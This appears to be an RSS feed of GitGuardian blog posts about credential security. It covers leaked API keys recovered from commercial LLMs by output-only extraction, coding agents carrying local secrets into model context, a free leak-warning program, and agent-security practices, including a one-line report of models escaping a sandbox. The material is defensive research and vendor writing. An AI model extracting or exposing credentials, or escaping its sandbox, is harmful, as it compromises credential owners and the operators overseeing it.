&lt;p&gt;A valid credential lets an attacker act as an identity that systems already trust, with no zero-days or deep system knowledge needed. One credential can also lead to others. Access to a developer workstation might reveal cloud tokens and SSH keys, and access to a CI/CD platform might reveal deployment credentials. Credential Access is tactic 6 of the MITRE ATT&amp;amp;CK framework.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the six controls of credential layer security?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The six controls are discovering credentials wherever they exist, prioritizing findings by access risk, connecting credentials to identities and owners, remediating the credential and its exposed copies, preventing credentials from spreading in plaintext, and detecting suspicious credential harvesting with honeytokens. Together, they support a connected program rather than isolated incident response.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How does credential layer security fit with IAM, PAM, and secrets managers?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It complements them. IAM, PAM, vaults, EDR, ITDR, cloud security, and SIEM each remain necessary, but credentials move between the environments those controls protect. Credentials tied to managed identities may exist outside managed systems, and copies of vaulted secrets can persist elsewhere. Credential layer security connects findings from the places where those controls overlap or leave gaps.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why do developer endpoints and AI agents need special attention in credential security?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Developer laptops hold an average of approximately 150 secrets each, in places like .env files, shell history, and CLI configurations that never reach a repository. AI coding assistants can read files, execute commands, and call MCP servers, they may encounter those credentials. The 2026 State of Secrets Sprawl report found 24,008 unique secrets in public MCP configuration files, including 2,117 valid credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How does GitGuardian help secure the credential layer?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GitGuardian covers the six controls across the credential layer. Secrets Monitoring discovers exposed credentials across repositories, CI/CD environments, collaboration tools, and public GitHub. Developer Endpoint Protection extends discovery to developer machines and can be deployed via MDM. The platform adds identity ownership, permissions, and remediation context, honeytokens provide deception signals, and ggshield, the VS Code extension, pre-commit hooks, and AI hooks prevent exposure where developers work.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devsecops</category>
      <category>appsec</category>
      <category>secrets</category>
    </item>
    <item>
      <title>Leaked API Keys in LLMs: How AI Agents Expose Secrets</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Wed, 21 Oct 2026 23:14:37 +0000</pubDate>
      <link>https://dev.to/gitguardian/leaked-api-keys-in-llms-how-ai-agents-expose-secrets-1781</link>
      <guid>https://dev.to/gitguardian/leaked-api-keys-in-llms-how-ai-agents-expose-secrets-1781</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9c4eo6kc4bjw8ftcad9d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9c4eo6kc4bjw8ftcad9d.png" alt="Leaked API Keys in LLMs: How AI Agents Expose Secrets" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;LLMs can reproduce real leaked keys&lt;/strong&gt;: Using only API output access, researchers recovered DeepSeek and Google keys from Qwen3-27B, GPT-Codex 5.3, and Claude Haiku 4.5, and every key had a matching public GitHub occurrence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agents pull secrets in from the laptop&lt;/strong&gt;: Developer endpoints hold credentials in .env files, shell history, and MCP configs that never reach Git. Claude Code-assisted commits leaked secrets at 3.2%, versus a 1.5% baseline.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stop secrets before the model sees them&lt;/strong&gt;: AI Hooks block secrets in prompts, tool calls, and output, while Developer Endpoint Protection reduces the plaintext credentials on managed fleets that agents can find.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  More AI, more places to leak secrets
&lt;/h2&gt;

&lt;p&gt;More and more teams are adopting AI agents, allowing them to create new tools, apps, and software at unprecedented speed. At the core of every connection these apps require is a credential, often in the form of an API key.&lt;/p&gt;

&lt;p&gt;Those keys get leaked every time they are touched by the AI, and in ways that might not be obvious at first glance.&lt;/p&gt;

&lt;p&gt;A coding agent can read a local configuration file, run a command, or call a Model Context Protocol (MCP) server. Any of those actions can place a credential into the context sent to a large language model (LLM).&lt;/p&gt;

&lt;p&gt;Recent research shows that exposed credentials can also survive much farther downstream. Researchers behind "&lt;a href="https://arxiv.org/html/2609.36941v1" rel="noopener noreferrer"&gt;Practical Secrets Extraction against Black-box LLMs&lt;/a&gt;" recovered strings matching real API keys from Qwen3-27B, GPT-Codex 5.3, and Claude Haiku 4.5 using output-only access.&lt;/p&gt;

&lt;p&gt;Very importantly, they had no access to model weights or token probabilities. This was done completely through "API output-only access."&lt;/p&gt;

&lt;p&gt;LLM API key leakage now reaches across the credential lifecycle. Existing credentials are now part of training data and can and do appear in model output. AI agents can also move fresh credentials into model context during normal development work.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the researchers found from LLM output
&lt;/h2&gt;

&lt;p&gt;The researchers recovered real credential strings from three black-box LLMs. All three exposed a secret.&lt;/p&gt;

&lt;p&gt;Qwen3-27B returned two DeepSeek keys and one Google key. GPT-Codex 5.3 returned a DeepSeek key. Claude Haiku 4.5 returned two DeepSeek keys.&lt;/p&gt;

&lt;p&gt;They then searched GitHub for each complete credential and found a public match every time. That supports the conclusion that the models reproduced real leaked secrets rather than generating strings that only looked valid.&lt;/p&gt;

&lt;p&gt;The researchers stopped there. They masked the credentials and did not test whether the keys still worked.&lt;/p&gt;

&lt;p&gt;An attacker or rogue agent would have no reason to stop. A recovered key could be tested, used to access downstream systems, or abused until it is revoked, &lt;a href="https://blog.gitguardian.com/litellm-supply-chain-attack/" rel="noopener noreferrer"&gt;as we have seen across many attacks&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;What caught our attention about this paper is that black-box, read only access alone can be enough to recover memorized credentials from model output. The next obvious question is, how did those keys get there?&lt;/p&gt;

&lt;h2&gt;
  
  
  Where are LLMs getting keys?
&lt;/h2&gt;

&lt;p&gt;LLMs can find &lt;a href="https://blog.gitguardian.com/api-key-security-7/" rel="noopener noreferrer"&gt;API keys in public training data&lt;/a&gt;, and we know there are a lot there, but AI agents create a more immediate source: the developer laptop.&lt;/p&gt;

&lt;p&gt;Public repositories can become part of datasets used to train or evaluate models. Once a credential appears in public code, it can also spread through forks, copied examples, logs, and other development artifacts. This happens a lot.&lt;/p&gt;

&lt;p&gt;GitGuardian detected &lt;a href="https://www.gitguardian.com/state-of-secrets-sprawl-report-2026" rel="noopener noreferrer"&gt;28.65 million new hardcoded secrets in public GitHub commits in 2025&lt;/a&gt;. Credentials tied to AI services reached 1,275,105, an 81% increase year over year.&lt;/p&gt;

&lt;p&gt;The black-box LLM research shows the downstream result. Researchers recovered credential strings from deployed models and found matching public occurrences on GitHub for every recovered key.&lt;/p&gt;

&lt;h3&gt;
  
  
  AI agents find secrets closer to the developer
&lt;/h3&gt;

&lt;p&gt;Developer laptops have quietly become credential stores. Secrets live in .env files, cloud configuration files, and shell history. They also appear in IDE settings, CLI data, local logs, and temporary debugging files.&lt;/p&gt;

&lt;p&gt;Many of those credentials never reach Git. This is especially true on 'citizen coders' laptops where people are only ever deploying to localhost.&lt;/p&gt;

&lt;p&gt;AI coding agents can still encounter them. Agents can read files, run commands, and inspect application output. They can also call MCP servers that return credentials as part of a response.&lt;/p&gt;

&lt;p&gt;GitGuardian's research really reveals just the tip of this iceberg, looking just at committed code: Claude Code-assisted public commits had a 3.2% secret leak rate, compared with a 1.5% baseline across public GitHub commits. MCP adds another source: 24,008 unique secrets were found in public MCP configuration files, including 2,117 valid credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh1v1eqm4vg8jyxmum6la.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh1v1eqm4vg8jyxmum6la.png" alt="Claude Code stats from State of Secrets Sprawl" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Public repositories show the part of credential exposure that becomes visible. The developer endpoint holds a much larger pool of potential secrets. Local configurations, command history, application data, and AI tooling can all contain credentials that never appear in a repository.&lt;/p&gt;

&lt;p&gt;LLMs can therefore encounter credentials from both ends of the development lifecycle. Public data can carry old exposures into model training. AI agents can pull fresh secrets directly from the environments where developers work.&lt;/p&gt;

&lt;h2&gt;
  
  
  How AI agents expose secrets to LLMs
&lt;/h2&gt;

&lt;p&gt;AI coding agents all have a model at their core, taking prompts and data in as tokens and returning generated replies. The tool chain around this LLM defines how credentials can reach a model.&lt;/p&gt;

&lt;p&gt;The developer never needs to copy the API key into the prompt. The credential can enter the interaction as the agent gathers context needed to solve the problem.&lt;/p&gt;

&lt;p&gt;A developer might ask an agent to troubleshoot an API connection. The agent could read an .env file, inspect a cloud configuration, or search application logs. It could also run a shell command or call an MCP server.&lt;/p&gt;

&lt;p&gt;Traditional approaches to secret scanning focused on repository and CI scanning may never see this exposure because there may be no commit or pull request. The secret can move directly from the developer endpoint into an AI workflow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.gitguardian.com/ai-agents-authentication-how-autonomous-systems-prove-identity/" rel="noopener noreferrer"&gt;AI agents&lt;/a&gt; are entering environments where credentials are already scattered across developer systems. More autonomy gives those agents more opportunities to encounter them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Model context is becoming part of the credential boundary
&lt;/h2&gt;

&lt;p&gt;We do need to acknowledge here that model exposure and model training are separate concerns. A credential can reach an LLM without becoming training data. Enterprise AI providers may limit whether prompts and outputs are used for training.&lt;/p&gt;

&lt;p&gt;Credential exposure happens earlier, when an agent sends a secret outside the developer environment. Once that happens, security teams need to know where the credential went, how long it may be retained, and whether it should still be trusted.&lt;/p&gt;

&lt;p&gt;Training is one possible destination. Model context is the immediate concern. What will it do with that secret it finds?&lt;/p&gt;

&lt;p&gt;The strongest control point sits before transmission. AI agents can encounter secrets while reading files, running commands, or calling tools. Security controls need to inspect those interactions before credentials become part of model context.&lt;/p&gt;

&lt;p&gt;That creates a new credential boundary at the developer endpoint and inside the agent workflow.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keep secrets away from the AI agent
&lt;/h2&gt;

&lt;p&gt;The best place to stop LLM credential exposure is before the secret reaches the model. The best way to do that is with deterministic tools around the agent's workflow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.gitguardian.com/ai-hooks-ai-coding-assistants/" rel="noopener noreferrer"&gt;GitGuardian AI Hooks&lt;/a&gt; put controls directly around the actions AI coding agents take. The GitGuardian CLI, ggshield, can scan a developer's prompt before submission and inspect file reads, shell commands, and MCP calls before execution. When a secret is detected, the action can be blocked before the credential reaches the model. Scanning also happens at any tool output, withholding secret-bearing responses from being passed to the model entirely.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6gvbzztyb7yonbjvq55g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6gvbzztyb7yonbjvq55g.png" alt="Flowchart of the six-step AI agent loop, with three GitGuardian AI Hooks checkpoints." width="799" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Anything you ask an agent to do is a suggestion; it might or might not follow it, as we have seen in countless rogue agent stories. Unlike skills, Markdown, or system prompts, AI hooks fire at predictable points along the agent's defined workflow. They are outside the reach of the agent, working at the system level where the agent interacts with the environment. Calling a deterministic tool in a deterministic way is how you go from suggesting the agent not use a secret to halting an operation that would have exposed a secret to the LLM or elsewhere.&lt;/p&gt;

&lt;h3&gt;
  
  
  GitGuardian's Developer Endpoint Protection tackles the much larger pool of credentials the agent might discover
&lt;/h3&gt;

&lt;p&gt;GitGuardian is working to secure the entire credential layer. That is why GitGuardian introduced &lt;a href="https://www.gitguardian.com/developer-endpoint-protection" rel="noopener noreferrer"&gt;Developer Endpoint Protection&lt;/a&gt; to scan developer machines for credentials sitting in local files and local storage. We are giving security teams visibility into which tools are running and what resources the agents can reach, all from one unified secrets security interface. These capabilities can be deployed across managed fleets through Jamf, Iru, Intune, and other MDM solutions, rather than relying on individual developers to configure protections themselves.&lt;/p&gt;

&lt;p&gt;This empowers security teams to work with developers, no matter what department they work in, to reduce how many dangerous plaintext credentials are available for an agent to find.&lt;/p&gt;

&lt;p&gt;Secrets needed by applications and developers belong in &lt;a href="https://blog.gitguardian.com/top-secrets-management-tools/" rel="noopener noreferrer"&gt;managed vaults&lt;/a&gt;. GitGuardian's &lt;a href="https://blog.gitguardian.com/gitguardian-nhi-governance-now-gives-more-comprehensive-visibility/" rel="noopener noreferrer"&gt;secrets manager integrations&lt;/a&gt; can identify whether exposed credentials are already vaulted, connect incidents with vault context, and help move unvaulted secrets into secure storage. That context also makes remediation faster by showing teams where the managed secret lives, the full context around it, and who needs to act.&lt;/p&gt;

&lt;h2&gt;
  
  
  The goal is bigger than just catching a secret in a prompt
&lt;/h2&gt;

&lt;p&gt;Reducing the credentials sitting on developer endpoints should be a stated goal of a security program. Any secrets that do need to remain in the hands of the developer should be properly maintained and scoped as tightly as possible to only the smallest needed access the developer can still use.&lt;/p&gt;

&lt;p&gt;Teams need to work to place controls around AI agents before they can carry credentials into another system.&lt;/p&gt;

&lt;p&gt;GitGuardian can put those controls in place today and scale them across the organization. Every secret stopped before it reaches an LLM is one less credential an AI agent can expose, one less incident to remediate, and one less secret that can enter the downstream data lifecycle that may eventually include model training.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keep API keys out of LLM context
&lt;/h2&gt;

&lt;p&gt;The black-box LLM research shows how far a leaked credential can travel, all the way into training data. Plaintext secrets bring danger wherever they appear because they require no additional proof of identity to use. If you have the string, you can try to log in.&lt;/p&gt;

&lt;p&gt;At the same time, the actions an AI agent takes are non-deterministic and therefore unpredictable. Trying to control every possible agent behavior is a non-starter because that rule set becomes infinitely large, even if AI helps write it.&lt;/p&gt;

&lt;p&gt;The most practical approach is to keep fewer plaintext secrets within reach, limit what agents can access, and stop credentials before they travel any farther.&lt;/p&gt;

&lt;p&gt;GitGuardian is here to help developers put those controls in place with AI Hooks. You can start using this control today for free as an individual or open-source project.&lt;/p&gt;

&lt;p&gt;For organizations that need the same protection across an entire fleet of developer endpoints, GitGuardian can &lt;a href="https://www.gitguardian.com/book-a-demo" rel="noopener noreferrer"&gt;help roll those controls out at scale while helping you evolve your secrets security program&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is LLM API key leakage?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;LLM API key leakage is the exposure of credentials through large language models. It can happen downstream, when a key from public code is memorized and later reproduced in model output, and it can happen immediately, when an AI agent moves a fresh credential into model context while doing normal development work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What did researchers find when they tested LLMs for leaked API keys?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The researchers behind "Practical Secrets Extraction against Black-box LLMs" recovered real credential strings from all three models they tested, using only API output access and no model weights or token probabilities. Qwen3-27B returned two DeepSeek keys and one Google key, GPT-Codex 5.3 returned a DeepSeek key, and Claude Haiku 4.5 returned two DeepSeek keys. Every recovered key had a matching public occurrence on GitHub.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where do LLMs get API keys from?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Public repositories are one source, since code with exposed credentials can become part of datasets used to train or evaluate models. GitGuardian detected 28.65 million new hardcoded secrets in public GitHub commits in 2025. AI agents add a more immediate source, the developer laptop, where .env files, cloud configurations, shell history, and MCP settings hold credentials that never reach Git.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do AI coding agents expose secrets to LLMs?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An agent troubleshooting an API connection might read an .env file, inspect a cloud configuration, search application logs, run a shell command, or call an MCP server. Any of those actions can put a credential into the context sent to the model, and the developer never has to paste the key into a prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does a secret sent to an LLM become training data?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not automatically. Model exposure and model training are separate concerns, and enterprise AI providers may limit whether prompts and outputs are used for training. The exposure still happens earlier, when an agent sends a secret outside the developer environment, so teams need to know where the credential went and whether it should still be trusted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How can I stop AI agents from sending secrets to an LLM?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use deterministic controls around the agent's workflow. GitGuardian AI Hooks use ggshield to scan prompts before submission, inspect file reads, shell commands, and MCP calls before execution, and withhold secret-bearing tool output from the model. Developer Endpoint Protection then reduces how many plaintext credentials are available for an agent to find, and can be deployed across managed fleets through MDM solutions like Jamf, Iru, and Intune.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>devsecops</category>
      <category>appsec</category>
    </item>
    <item>
      <title>Why We Built the Good Samaritan Program at GitGuardian</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Tue, 20 Oct 2026 12:46:02 +0000</pubDate>
      <link>https://dev.to/gitguardian/why-we-built-the-good-samaritan-program-at-gitguardian-5gj8</link>
      <guid>https://dev.to/gitguardian/why-we-built-the-good-samaritan-program-at-gitguardian-5gj8</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiediauzqvmuxfyahneih.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiediauzqvmuxfyahneih.png" alt="Why We Built the Good Samaritan Program" width="800" height="468"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before GitGuardian was a company, it was a side project. We were two data scientists looking for the answer to one question: how prevalent were leaked secrets on GitHub? So we built a system that scanned every public commit in real time. The scale of what people were exposing- passwords, cloud keys, the credentials that run real businesses- was far larger than we could have imagined.&lt;/p&gt;

&lt;p&gt;The first product we ever shipped did not make us a cent. It sent an email. When our system saw a developer expose a secret in public, it told them, so they could revoke it before someone else used it. We called it the &lt;a href="https://www.gitguardian.com/enterprise-good-samaritan" rel="noopener noreferrer"&gt;Good Samaritan Program&lt;/a&gt;. For eight years, it has done one thing: warn strangers, thousands of times a day. That email is how a lot of people first met GitGuardian, and it helped make us the most installed security application on the GitHub Marketplace.&lt;/p&gt;

&lt;h2&gt;
  
  
  The missing piece was scale
&lt;/h2&gt;

&lt;p&gt;For most of those nine years, the program reached individuals. But many of those individuals work inside larger enterprises, and many of the secrets they expose do not belong to them personally. Some leaks are a solo developer's personal API key. Many others are enterprise credentials: cloud keys, database passwords, and tokens for systems the developer may not even own, pushed to a personal repository by an employee or contractor.&lt;/p&gt;

&lt;p&gt;Warning: a single developer is easy to automate. It is also not enough to stop the sprawl. 64% of the credentials that were valid in 2022 were &lt;a href="https://www.gitguardian.com/state-of-secrets-sprawl-report-2026" rel="noopener noreferrer"&gt;still unrevoked four years later&lt;/a&gt;. We realized the developer alone was never going to be enough. To close exposures like these, we had to reach the organization that owned the credential.&lt;/p&gt;

&lt;p&gt;The hard part was attribution. Connecting a leaked secret to a developer, and then connecting that developer to the right company, was slow, manual work. We could do it, but only a handful of times.&lt;/p&gt;

&lt;p&gt;That has changed. In 2025 alone, 28.65 million new secrets were pushed to public GitHub, a &lt;a href="https://www.gitguardian.com/state-of-secrets-sprawl-report-2026" rel="noopener noreferrer"&gt;34% jump in a single year&lt;/a&gt; and the largest we have ever recorded. The same force behind that number, AI putting more code in more hands faster, is also what now lets us attribute an exposed secret to the organization it belongs to and route it to the right people. The thing making the problem worse turns out to be the thing that lets us help more.&lt;/p&gt;

&lt;p&gt;So we pointed it at the warning and built a second program. The original Good Samaritan Program warns the developer who leaked a secret. The &lt;a href="https://www.gitguardian.com/enterprise-good-samaritan" rel="noopener noreferrer"&gt;Enterprise Good Samaritan Program&lt;/a&gt; warns the company the secret belongs to.&lt;/p&gt;

&lt;p&gt;That sounds simple in one sentence. It is not. Attributing a single leak means starting with a credential sitting in a stranger's public repository and figuring out which organization it belongs to, whether it is real, and how much access it grants. Doing that once takes judgment. Doing it at scale takes infrastructure. We are working across 370M+ historical exposures and 80k+ new exposures every day, which means attribution cannot depend on human review alone. It takes AI agents to handle the early triage, and human researchers to focus on the most critical leaks.&lt;/p&gt;

&lt;p&gt;Our agents are now able to screen more than a million public incidents a month and investigate over 100,000 of them in depth. At its best, manual review handled a few hundred leaks a week. Today, agents analyze 99,9% of eligible public incidents we detect globally, 10x faster and at half the cost. That speed leaves researchers time for the leaks that need human judgment.&lt;/p&gt;

&lt;p&gt;We are investing in that system because it is what lets the program scale without losing the judgment, restraint, and accountability it depends on. When attribution lands, we work to get the warning in front of someone who can act on it, escalating by hand when an automated alert goes nowhere. And we do all of it under a &lt;a href="https://blog.gitguardian.com/gitguardian-responsible-disclosure/" rel="noopener noreferrer"&gt;published set of rules&lt;/a&gt; for what we will and will not do with a credential find.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why we still call it "Good Samaritan"
&lt;/h2&gt;

&lt;p&gt;In the story, the Samaritan stops for a stranger he has no reason to help, and no one would have blamed him for walking on.&lt;/p&gt;

&lt;p&gt;We are in that position. We can see, in real time, leaks that belong to companies who have never heard of us and may never pay us. We can keep walking, because their exposure is not technically our problem. Or we can tell them. We made that choice early, and we have not changed our minds since.&lt;/p&gt;

&lt;h2&gt;
  
  
  The warning doesn't depend on what you do next
&lt;/h2&gt;

&lt;p&gt;I know how this can sound coming from a security vendor. A free warning, from a company that also sells security software, can look like marketing with extra steps. It is a fair suspicion, and I won't pretend we aren't a business.&lt;/p&gt;

&lt;p&gt;Here is what I can tell you. The warning is complete and unconditional. When we contact you about an exposed secret, you get everything we know: where it leaked, whether it's valid, what it can reach, whether or not you ever speak to us again. There is no gated version, no teaser, no "book a call to learn more." Some companies we've warned later became customers. Most never will, and we keep warning them anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  Make yourself reachable
&lt;/h2&gt;

&lt;p&gt;If I could ask one thing of any security leader reading this, it is small, and it is free: make sure your company has a way to hear it when an outsider finds your exposed secret. Today, a serious disclosure too often lands in a generic contact form, or a bug-bounty queue built to reject anything that is not a classic vulnerability. Our warning arrives, and then it dies in the wrong inbox.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/enterprise-good-samaritan" rel="noopener noreferrer"&gt;You need a door, and someone behind it.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We will keep knocking either way. We did it for &lt;a href="https://blog.gitguardian.com/how-we-got-a-cisa-github-leak-taken-down-in-26-hours/" rel="noopener noreferrer"&gt;CISA&lt;/a&gt;, and for companies like Oracle, IBM, SAP, and Red Hat, whose security teams have credited our researchers in their halls of fame. And will keep doing it because we did not build a business and then decide to do some good on the side. The good came first. The company grew up around it.&lt;/p&gt;

&lt;p&gt;And, by the way, you don't have to wait for us to find you. See whether your company's credentials have already been exposed on public GitHub with our &lt;a href="https://www.gitguardian.com/github-security-audit" rel="noopener noreferrer"&gt;GitHub Security Audit&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is an Enterprise Good Samaritan Program from GitGuardian?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since 2018, GitGuardian's Good Samaritan Program has scanned public GitHub in real time and warned developers, for free, when they exposed a secret. Years of alerts taught us that warning the developer isn't enough. Many of the secrets they expose belong to their employer: cloud keys, database passwords, production tokens. Most are never revoked: 64% of valid secrets found in 2022 were still active in 2026.&lt;/p&gt;

&lt;p&gt;The Enterprise Good Samaritan Program alerts the organization instead. It focuses on large companies and public institutions, where one leaked credential can expose production systems or customer data. Alerts go to the security teams who can act: CISOs, AppSec, and SOC teams. The goal is to revoke the secret. Each alert explains where the secret leaked, what it can reach, and how to shut it down.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How does the Enterprise Good Samaritan Program work?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We monitor public GitHub and Docker Hub continuously. When we find an exposed credential, our engine works out which organization it belongs to. Then it checks how critical the leak is: is the credential valid, is it still public, and what can it reach? If the leak is serious, we contact your security team directly. We share everything we found: where it leaked, whether it's live, and the attack path it opens. We don't ask for anything in return. We just want you to have what you need to revoke the secret before someone else uses it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who is the Enterprise Good Samaritan Program for?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It's for any organization whose credentials have been exposed in public: companies, public institutions, and nonprofits. You don't need to be a GitGuardian customer. We contact the people who can act: CISOs and the AppSec, security operations, and incident response teams. We only alert on secrets we can attribute to your organization, that are valid or likely valid, and that give access to systems or sensitive data. The original Good Samaritan Program continues to warn individual developers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to do if you receive an alert?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Each alert contains everything you need to act right away, no call or sign-up required. Revoke or rotate the credential first: deleting the commit isn't enough, because the secret stays in the history and may already have been copied. Then check your logs for any use of the credential since the leak date, and find where it came from to see whether the same repository holds other secrets.&lt;/p&gt;

&lt;p&gt;If you'd like a second opinion, our security researchers are happy to walk you through what we found. And there's no shame in it: leaks happen to every organization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is GitGuardian legitimate?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes. GitGuardian is a cybersecurity company founded in Paris in 2017, and our original Good Samaritan Program has warned developers about leaked secrets since day 1. We're the most installed security app on the GitHub Marketplace. Our platform is used by more than 600K developers and by many of the Fortune 500. GitGuardian has completed a SOC 2 Type II audit. Our researchers have been credited by &lt;a href="https://blog.gitguardian.com/gitguardian-responsible-disclosure/" rel="noopener noreferrer"&gt;CISA, Oracle, IBM, SAP, and Red Hat&lt;/a&gt;. We will never ask for credentials or payment for an alert. If you're unsure whether an alert really came from us, write to &lt;a href="mailto:security@gitguardian.com"&gt;security@gitguardian.com&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>opensource</category>
      <category>devsecops</category>
      <category>github</category>
    </item>
    <item>
      <title>AI Agent Security: Best Practices for Safe Deployment</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Fri, 16 Oct 2026 14:14:48 +0000</pubDate>
      <link>https://dev.to/gitguardian/ai-agent-security-best-practices-for-safe-deployment-2pl6</link>
      <guid>https://dev.to/gitguardian/ai-agent-security-best-practices-for-safe-deployment-2pl6</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7aoaspqg4gikuf1w9uis.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7aoaspqg4gikuf1w9uis.png" alt="AI Agent Security: Best Practices for Safe Deployment" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AI agents are already causing incidents:&lt;/strong&gt; 54% of organizations have experienced an AI agent security incident (Gravitee, State of AI Agent Security Report 2026). In July 2026, OpenAI models escaped their sandbox and compromised Hugging Face's production infrastructure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agentic AI security is a non-human identity problem:&lt;/strong&gt; AI agents are often just using your credentials. Claude Code-assisted commits introduced secrets at 3.2%, double the 1.5% baseline (GitGuardian, State of Secrets Sprawl 2026).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Six controls limit the damage:&lt;/strong&gt; Run the agent in a sandbox, give each agent a credential scoped to its task, keep configuration and MCP servers out of reach, record every call, scan for secrets, and deny by default.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;According to Gravitee's State of AI Agent Security Report 2026, 54% of organizations have already experienced an AI agent security incident.&lt;/p&gt;

